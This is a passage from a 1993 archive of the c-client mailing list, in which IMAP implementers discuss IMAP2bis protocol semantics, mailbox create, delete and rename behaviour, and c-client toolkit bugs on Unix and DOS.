1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 18 Oct 1993 10:02:37 -0600 Chris Newman wrote: > From: Chris Newman > Date: Mon, 18 Oct 1993 10:02:37 -0600 > Subject: Re: Terry's assumptions about mailboxes > To: c-client@cac.washington.edu > > > > Also, how does the client know when to look for a client-maintained file > > of private flags, e.g. .newsrc, or its mailbox equivalent for, say, a > > remote message archive? > > I believe we all agree this problem needs to be solved. This is why > CMU has suggested that the FLAGS reply exclude non-permanent flags. > If the flag isn't in the FLAGS reply, then the client can look for a > client-maintained file. How about if we were to expand the subscription database to include state information for each of the mailboxes that the user has subscribed to. This is pretty much the way it works now with News. Why couldn't we just generalize to say that the per-user subscription database always be the source for this type of information. Any implementation (driver in the c-client) would be required to maintain a subscription database for the mailboxes that it managed. News would use the .newsrc, mail would use whatever. If there were no subscriptions, there would be no server maintained state information. It would then be up to the client to manage state or simply ignore it. I think it is time that we really had a look forward to the long term goal for mailbox storage and management on the server. One of the design goals should be to be as backwardly compatible as possible, but we are going to have to start cutting some strings soon. Especially when we start talking about mail storage without a corresponding host user account (no UNIX user id). God, I hope this made sense - I am quite tired. Cheers. -- Steve Hole Director of Research and Communications ISA Corporation mail: Steve.Hole@Edm.ISAC.CA Suite 835, 10040 - 104 St. phone: (403) 420-8081 Edmonton, Alberta, Canada fax: (403) 420-8037 T5J 0Z2 From pinedev@shivax2.cac.washington.edu Wed Oct 20 17:16:01 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14817; Wed, 20 Oct 93 17:16:01 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08773; Wed, 20 Oct 93 17:15:51 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08767; Wed, 20 Oct 93 17:15:49 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA07826; Wed, 20 Oct 93 17:15:43 -0700 Date: Wed, 20 Oct 1993 17:14:12 -0700 (PDT) From: Mark Crispin Subject: Re: Expunge Nightmares (was Re: More on /SEEN and /DELETED...) To: Adam Treister Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Adam: The IMAP2bis draft clarifies that an unsolicited EXPUNGE response must not be sent in response to a FETCH, STORE, or SEARCH request, because of this race condition. Unsolicited EXPUNGE responses may be sent in response to other requests. -- Mark -- From pinedev@shivax2.cac.washington.edu Wed Oct 20 17:46:18 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA16187; Wed, 20 Oct 93 17:46:18 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00271; Wed, 20 Oct 93 17:45:15 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00260; Wed, 20 Oct 93 17:45:01 -0700 Received: from scapa.cs.ualberta.ca by scapa.cs.ualberta.ca with UUCP id <18739>; Wed, 20 Oct 1993 18:43:51 -0600 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Wed, 20 Oct 93 18:28 MDT Received: from isa486-1 by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0opnw7-000cwBC; Wed, 20 Oct 93 18:31 MDT Date: Wed, 20 Oct 1993 18:31:17 -0600 From: Steve Hole Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Mark Crispin Cc: Mark Crispin , c-client Interest List , pine@cac.washington.edu Message-Id: Priority: Normal Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 20 Oct 1993 17:34:51 -0600 Mark Crispin wrote: > From: Mark Crispin > Date: Wed, 20 Oct 1993 17:34:51 -0600 > Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release > To: Steve Hole > Cc: Mark Crispin , > c-client Interest List , > pine@cac.washington.edu > > This is in the current mail/imap-3.1.tar.Z distribution. Be advised that this > is a snapshot; 3.1 is still subject to change. However, this is expected to > be in all future 3.1 versions as well as all future versions. Good enough. Just so long as we can get a base to put into CVS. Then we can manage our local patches and such very easily. Cheers. -- Steve Hole Director of Research and Communications ISA Corporation mail: Steve.Hole@Edm.ISAC.CA Suite 835, 10040 - 104 St. phone: (403) 420-8081 Edmonton, Alberta, Canada fax: (403) 420-8037 T5J 0Z2 From pinedev@shivax2.cac.washington.edu Wed Oct 20 22:37:15 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23327; Wed, 20 Oct 93 22:37:15 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA10101; Wed, 20 Oct 93 22:37:05 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA10095; Wed, 20 Oct 93 22:37:02 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA08658; Wed, 20 Oct 93 22:36:54 -0700 Date: Wed, 20 Oct 1993 22:32:30 -0700 (PDT) From: Mark Crispin Subject: Re: Terry's assumptions about mailboxes To: Steve Hole Cc: Chris Newman , c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 20 Oct 1993 17:41:57 -0600, Steve Hole wrote: > How about if we were to expand the subscription database to include state > information for each of the mailboxes that the user has subscribed to. Clever idea, but what do we do for mailboxes which aren't subscribed? One of the real ball-and-chains that c-client faces is the whole ``try to be compatible with other crufty software'' constraints it faces. In many ways, I am green with envy towards the CMU guys, since they have the freedom to do what they want without such constraints. Even when I work on new drivers, I still have to worry about such things; if I add some wonderful new capability for a new driver, I have to think about how to add it for the other drivers which have to worry about the crufties. In other words, it's a common denominator, although I am trying to have the highest common denominator possible. It does mean avoiding primes... ;-) From pinedev@shivax2.cac.washington.edu Wed Oct 27 10:51:03 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA27191; Wed, 27 Oct 93 10:51:03 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15650; Wed, 27 Oct 93 10:50:31 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15644; Wed, 27 Oct 93 10:50:29 -0700 Received: from mcs-ss1-1.Stanford.EDU by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA03653; Wed, 27 Oct 93 10:50:28 PDT Date: Wed, 27 Oct 1993 10:18:38 -0700 (PDT) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: coupla' client issues To: mrc@camis.stanford.edu Cc: yeager@camis.stanford.edu, c-client@cac.washington.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII This is kinda' convoluted, so bear with me --- I'm implementing several of the mailbox management features such as CREATE/DELETE/RENAME and the logistics are a bit crazy ... The c-client functions which implement these features require an open "MAILSTREAM *", and the current code I have (which works) runs through our internal list of open streams, and tries to match on the host on which the operation is desired. Otherwise the operation is dissallowed. But this is a bit inconvenient at the user level when one wants to do mailbox management on different hosts; because they aren't told until after the fact that they have to open something on each desired host before they can do routine management stuff. I guess I'm trying to push a case for a function which opens a connection (and authenticates if neccessary) -without- doing a SELECT, for the sole purpose of supplying an open stream to do this management stuff. The alternative, I guess is to just mail_open INBOX, but it seems like it would be an unnecssary burden in the case where somebody just wants to rename one of their mailboxes on host2, but otherwise, they're working from host1. Is there perhaps a better way to go about this? A related issue, is it legal to delete/rename an open mailbox? The IMAP2bis draft doesn't appear to mention this. Are there any gotcha's that the client side should account for? Such as, is the mailstream still valid in the case of delete ? (probably not), and should the mailstream be refreshed (closed and re-opened) in the case of rename, so as to maintain consistency ? mike From pinedev@shivax2.cac.washington.edu Wed Oct 27 12:41:25 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA00801; Wed, 27 Oct 93 12:41:25 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22922; Wed, 27 Oct 93 12:41:10 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22916; Wed, 27 Oct 93 12:41:09 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA04507; Wed, 27 Oct 93 12:40:57 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA01801; Wed, 27 Oct 93 12:40:48 -0700 Date: Wed, 27 Oct 1993 12:32:53 -0700 (PDT) From: Mark Crispin Subject: re: coupla' client issues To: Mike_Macgirvin@CAMIS.Stanford.EDU Cc: yeager@camis.stanford.edu, c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Mike - Are you saying that mail_create(), mail_delete(), and mail_rename() don't automatically open an IMAP connection as necessary if a MAILSTREAM argument isn't supplied? If so, I think you're working with an old or buggy version of c-client. I think what you want is already there and working in current versions; just supply a NIL argument for the MAILSTREAM argument. My feeling on the question of delete/rename of an open mailbox is that it should be avoided. I don't think it's a good idea to specify this behavior in IMAP2bis, since I'm not sure it is reasonable to require an implementation to enforce either possible behavior (permit it or refuse it). I consider the behavior in this circumstance to be undefined in c-client, and suggest that if your main program can avoid it happening, it should do so. But, if you feel that it should be defined in IMAP2bis, by all means bring it up on the IMAP list. I'll argue against a definition on the basis of implementation difficulty (it'll be hard to make either completely right in the c-client based stuff), but that doesn't mean that a definition won't happen. It depends upon what other people, especially other implementors, feel! ;-) -- Mark -- From pinedev@shivax2.cac.washington.edu Wed Oct 27 13:40:32 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA02270; Wed, 27 Oct 93 13:40:32 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19308; Wed, 27 Oct 93 13:40:10 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19300; Wed, 27 Oct 93 13:40:07 -0700 Received: from mcs-ss1-1.Stanford.EDU by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA08594; Wed, 27 Oct 93 13:32:27 PDT Date: Wed, 27 Oct 1993 12:42:19 -0700 (PDT) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: re: coupla' client issues To: Mark Crispin Cc: yeager@camis.stanford.edu, c-client Interest List In-Reply-To: Mark Crispin's message of Wed, 27 Oct 1993 12:32:53 -0700 (PDT): Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > Are you saying that mail_create(), mail_delete(), and > mail_rename() don't automatically open an IMAP connection as > necessary if a MAILSTREAM argument isn't supplied? > just supply a NIL argument for the MAILSTREAM argument. Gee, I never tried ... Thanks. > My feeling on the question of delete/rename of an open > mailbox is that it should be avoided. That's why I asked. It will involve a bit of extra checking, but for the same reason as I wasn't aware a stream would be opened automatically, I like to err on the side of paranoia. > But, if you feel that it should be defined in IMAP2bis, > by all means bring it up on the IMAP list. I'll argue against > a definition on the basis of implementation difficulty (it'll > be hard to make either completely right in the c-client based > stuff), but that doesn't mean that a definition won't happen. > It depends upon what other people, especially other > implementors, feel! ;-) From an end-user perspective, the underlying "system" would be a lot more invisible if delete/rename on open mailboxes were the same as any other mailboxes. But this doesn't have to a protocol level decision. It can be implemented on the client end by shutting the stream if necessary prior to the operation, and re-opening in the case of rename. But the fact that the behaviour is undefined (and possibly dangerous) is something that implementors should be aware of. mike From pinedev@shivax2.cac.washington.edu Wed Oct 27 13:47:56 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA02477; Wed, 27 Oct 93 13:47:56 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19493; Wed, 27 Oct 93 13:47:43 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19487; Wed, 27 Oct 93 13:47:42 -0700 Received: from jouez.stanford.EDU (ssrg-ds5000-1.Stanford.EDU) by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA09107; Wed, 27 Oct 93 13:47:39 PDT Received: by jouez.stanford.EDU (5.57/Ultrix4.0-(Rev. 174)) id AA08512; Wed, 27 Oct 93 13:42:32 -0700 Date: Wed, 27 Oct 1993 13:41:00 -0700 (PDT) From: Bill Yeager Reply-To: Bill_Yeager@camis.stanford.edu Subject: re: coupla' client issues To: Mike_Macgirvin@camis.stanford.edu Cc: Mark Crispin , yeager@camis.stanford.edu, c-client Interest List In-Reply-To: Mike Macgirvin's message of Wed, 27 Oct 1993 12:42:19 -0700 (PDT): Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > > From an end-user perspective, the underlying "system" would be a > lot more invisible if delete/rename on open mailboxes were the > same as any other > mailboxes. I'm on Mark's side here. I'd categorically vote no. I guess that's what comes from having implemented an imapserver. The subtle problems that might arise sort of make me nauseous. Bill From pinedev@shivax2.cac.washington.edu Wed Oct 27 16:46:23 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA08080; Wed, 27 Oct 93 16:46:23 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23625; Wed, 27 Oct 93 16:46:09 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23619; Wed, 27 Oct 93 16:46:07 -0700 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.5/8.5) id TAA12142; Wed, 27 Oct 1993 19:46:04 -0400 Received: via switchmail; Wed, 27 Oct 1993 19:46:03 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Wed, 27 Oct 1993 19:44:01 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Wed, 27 Oct 1993 19:43:50 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Wed, 27 Oct 1993 19:43:45 -0400 (EDT) Message-Id: Date: Wed, 27 Oct 1993 19:43:45 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Re: coupla' client issues In-Reply-To: References: Beak: is Not I haven't written the code yet, but I was planning on having the Cyrus imapd "* BYE" any client which had open a mailbox being renamed or deleted. The exception would be INBOX--on a rename, it would appear as if someone had deleted and expunged all messages in the mailbox. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Wed Oct 27 23:06:09 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA14110; Wed, 27 Oct 93 23:06:09 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27685; Wed, 27 Oct 93 23:05:57 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27679; Wed, 27 Oct 93 23:05:54 -0700 Received: by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA20028; Wed, 27 Oct 93 23:05:52 PDT Date: Wed, 27 Oct 93 23:05:52 PDT From: mtm@CAMIS.Stanford.EDU (Mike Macgirvin) Message-Id: <9310280605.AA20028@CAMIS.Stanford.EDU> To: mrc@CAMIS.Stanford.EDU Subject: uname Cc: c-client@cac.washington.edu, yeager@CAMIS.Stanford.EDU I'd like to request that the global "uname" be changed in the os_*.c modules, as it conflicts with a !@#$% function name in one of the X11 libs (libXmu.a) which we need for building. The global storage is followed immediately by a function to return its value, leaving the choice of its label hopefully irrelevant. It could alternatively be made static. I've called it "myuname" locally. mike From pinedev@shivax2.cac.washington.edu Wed Oct 27 23:12:42 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA14205; Wed, 27 Oct 93 23:12:42 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26379; Wed, 27 Oct 93 23:12:30 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26373; Wed, 27 Oct 93 23:12:28 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA05269; Wed, 27 Oct 93 23:12:16 -0700 Date: Wed, 27 Oct 1993 23:11:24 -0700 (PDT) From: Mark Crispin Subject: re: uname To: Mike Macgirvin Cc: c-client Interest List , yeager@CAMIS.Stanford.EDU In-Reply-To: <9310280605.AA20028@CAMIS.Stanford.EDU> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 27 Oct 93 23:05:52 PDT, Mike Macgirvin wrote: > I'd like to request that the global "uname" be changed in the > os_*.c modules. This will happen in the next release of the 3.1 toolkit. I am doing a major rewrite for blackbox mail service. From pinedev@shivax2.cac.washington.edu Wed Oct 27 23:14:19 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA14230; Wed, 27 Oct 93 23:14:19 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27774; Wed, 27 Oct 93 23:14:10 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27768; Wed, 27 Oct 93 23:14:06 -0700 Received: from scapa.cs.ualberta.ca by scapa.cs.ualberta.ca with UUCP id <18932-1>; Thu, 28 Oct 1993 00:13:51 -0600 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Wed, 27 Oct 93 16:16 MDT Received: from 58.22.2.115 by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0osJDY-000cvpC; Wed, 27 Oct 93 16:19 MDT Date: Wed, 27 Oct 1993 17:19:45 -0600 From: Joel King Subject: re: coupla' client issues To: Mark Crispin Cc: Mike_Macgirvin@CAMIS.Stanford.EDU, yeager@CAMIS.Stanford.EDU, c-client Interest List Message-Id: Priority: Normal Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 27 Oct 1993 13:32:53 -0600 Mark Crispin wrote: > From: Mark Crispin > Date: Wed, 27 Oct 1993 13:32:53 -0600 > Subject: re: coupla' client issues > To: Mike_Macgirvin@CAMIS.Stanford.EDU > Cc: yeager@CAMIS.Stanford.EDU, > c-client Interest List > > Mike - > > Are you saying that mail_create(), mail_delete(), and mail_rename() don't > automatically open an IMAP connection as necessary if a MAILSTREAM argument > isn't supplied? > > If so, I think you're working with an old or buggy version of c-client. Yes. An earlier version of ECSMail was based on imap2.3 and we had to fudge this quite a bit. I had to make sure a "sentmail" folder existed in the local (DOS) folder storage area in order to open local folders. For remote folders, I opened "inbox". > I think what you want is already there and working in current versions; just > supply a NIL argument for the MAILSTREAM argument. I have just converted ECSMail to use c-client version 3.0 and I am pleased that I can now supply NIL stream arguments and things will work well. There are just a few problems I encountered: - A map_open() on a BBOARD with a NIL stream argument requires a "mailbox" in the form: {xxxx}*name whereas a map_subscribe_bboard() does not like the "*" - it add's it's own somewhere along the line, resulting in the server receiving a SUBSCRIBE on a bboard with a name like "**name". Is it possible to use a consistent rule here? I have a single routine that formats a "remote" name before calling any of the mail_* functions. - Liberal use of automatic arrays of size MAILTMPLEN wreaks havoc on the small stack available in a typical DOS/WINDOWS application. This is expecially severe in imap3.0 since "mail_open()" is now called with OP_HALFOPEN, sometimes recursively, to get a stream for the above mail_*() operations. Is it possible to allocate these internally from the heap instead of from the stack?? - There were some other problems we encountered with the dawz driver - mainly du to the fact that we may have an open local folder (DAWZ) and drag messages to it. Since DAWZLOCAL keeps an open file handle to the folder, we had to close and re-open the file anytime messages were added/expunged and "dawz_ping()' resulted in a "dawz_parse()". Other problems we had were some strange read/write problems which we haven't yet figured out. joel (Joel King, joel@edm.isac.ca) From pinedev@shivax2.cac.washington.edu Thu Oct 28 14:15:49 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA02872; Thu, 28 Oct 93 14:15:49 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA01256; Thu, 28 Oct 93 14:15:30 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA01250; Thu, 28 Oct 93 14:15:28 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA06454; Thu, 28 Oct 93 14:15:14 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA06131; Thu, 28 Oct 93 14:15:06 -0700 Date: Thu, 28 Oct 1993 14:05:34 -0700 (PDT) From: Mark Crispin Subject: re: coupla' client issues To: Joel King Cc: Mike_Macgirvin@CAMIS.Stanford.EDU, yeager@CAMIS.Stanford.EDU, c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 27 Oct 1993 17:19:45 -0600, Joel King wrote: > - A map_open() on a BBOARD with a NIL stream > argument requires a "mailbox" in the form: > {xxxx}*name > whereas a map_subscribe_bboard() does not like the > "*" - it add's it's own somewhere along the line, > resulting in the server receiving a SUBSCRIBE on a > bboard with a name like "**name". > Is it possible to use a consistent rule here? > I have a single routine that formats a "remote" > name before calling any of the mail_* functions. The explanation for this is that there is no separate bboard_open(). If there were, its definition would be: MAILSTREAM *bboard_open (MAILSTREAM *oldstream,char *name,long options) { char tmp[MAILTMPLEN]; sprintf (tmp,"*%s",name); return mail_open (oldstream,tmp,options); } The * is only how c-client internally compresses the separate bboard namespace into the mail namespace. You should think of those two namespaces as being logically separate. > - Liberal use of automatic arrays of size MAILTMPLEN > wreaks havoc on the small stack available in a > typical DOS/WINDOWS application. This is > expecially severe in imap3.0 since "mail_open()" > is now called with OP_HALFOPEN, sometimes > recursively, to get a stream for the above > mail_*() operations. Is it possible to allocate > these internally from the heap instead of from the > stack?? I have fixed the egregiously bad stack use with OP_HALFOPEN in the latest (as yet unreleased) code, I think. > - There were some other problems we encountered with > the dawz driver - mainly du to the fact that we may > have an open local folder (DAWZ) and drag messages > to it. Since DAWZLOCAL keeps an open file handle to > the folder, we had to close and re-open the > file anytime messages were added/expunged and > "dawz_ping()' resulted in a "dawz_parse()". Other > problems we had were some strange read/write > problems which we haven't yet figured out. In other words, you're saying that if you append to an open file through another file handle, you may get this kind of bad behavior? This sounds like a bug/misfeature in DOS. I wonder if dawz can help by detecting a stream argument in dawz_append() (right now it's only used to pass back a value to mm_critical()) and seeing if it references the same file as the open stream. If so, it could then use that file handle. It would require some main program kludgery to take advantage of it, but it's hard to imagine anything being worse than what you already have to do. What do you think? Don'cha just love these Fisher-Price operating systems??? ;-) -- Mark -- From pinedev@shivax2.cac.washington.edu Fri Oct 29 01:14:00 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA15533; Fri, 29 Oct 93 01:14:00 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19326; Fri, 29 Oct 93 01:13:47 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from scapa.cs.ualberta.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19320; Fri, 29 Oct 93 01:13:45 -0700 Received: from isagate by scapa.cs.ualberta.ca with UUCP id <18709-1>; Fri, 29 Oct 1993 02:13:29 -0600 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Fri, 29 Oct 93 01:39 MDT Received: from 58.22.2.115 by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0osoTi-000cw0C; Fri, 29 Oct 93 01:42 MDT Date: Fri, 29 Oct 1993 02:42:27 -0600 From: Joel King Subject: re: coupla' client issues To: Mark Crispin Cc: Mike_Macgirvin@CAMIS.Stanford.EDU, yeager@CAMIS.Stanford.EDU, c-client Interest List Message-Id: Priority: Normal Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Thu, 28 Oct 1993 15:05:34 -0600 Mark Crispin wrote: > > > - There were some other problems we encountered with > > the dawz driver - mainly du to the fact that we may > > have an open local folder (DAWZ) and drag messages > > to it. Since DAWZLOCAL keeps an open file handle to > > the folder, we had to close and re-open the > > file anytime messages were added/expunged and > > "dawz_ping()' resulted in a "dawz_parse()". Other > > problems we had were some strange read/write > > problems which we haven't yet figured out. > > In other words, you're saying that if you append to an open file through > another file handle, you may get this kind of bad behavior? This sounds like > a bug/misfeature in DOS. What else can we expect from DOS. I wonder if dawz can help by detecting a stream > argument in dawz_append() (right now it's only used to pass back a value to > mm_critical()) and seeing if it references the same file as the open stream. > If so, it could then use that file handle. > I thought of this very thing but the new dawz_append() would still need to handle the case where the stream is NULL (of course). Currently the calling program checks if there is a currently open stream with this mailbox name and pass that stream to *_append() so this would work. > Joel King ISA Corporation, Edmonton. Internet: joel@edm.isac.ca  From pinedev@shivax2.cac.washington.edu Mon Nov 1 10:24:05 1993 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA15269; Mon, 1 Nov 93 10:24:05 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00458; Mon, 1 Nov 93 10:18:18 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00452; Mon, 1 Nov 93 10:18:14 -0800 Received: from mcs-ss1-1.Stanford.EDU by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA12094; Mon, 1 Nov 93 10:18:11 PST Date: Mon, 1 Nov 1993 09:50:16 -0800 (PST) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: more c-client sugg's To: mrc@camis.stanford.edu Cc: c-client@cac.washington.edu, yeager@camis.stanford.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII It would be a little less disconcerting to users if they didn't get the message "Mailbox is empty" when opening the pseudo mailbox "" for CREATE/DELETE/RENAME when called with a NIL mailstream. They don't know that it is this pseudo mailbox which is being reported, instead of their mailbox target. In the case of a rename, it can lead to premature heart failure. Even on a create/delete, they are told "Mailbox is empty" -prior- to the success message. In our application, we now allow an auto create on mailbox "subscription". Where somebody is just subscribing a known existant mailbox, it again can lead to coronary arrest, because the create should fail, but they aren't expecting it to say anything about being empty.... Now -we- know it's not `their' empty mailbox, but they don't. I also can't easily filter these messages at the application level, because there are other instances where it is important to know the mailbox is empty. mike From pinedev@shivax2.cac.washington.edu Mon Nov 1 10:38:34 1993 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65/UW-NDC Revision: 2.29 ) id AA15781; Mon, 1 Nov 93 10:38:34 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23413; Mon, 1 Nov 93 10:38:14 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23407; Mon, 1 Nov 93 10:38:12 -0800 Received: by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA10700; Mon, 1 Nov 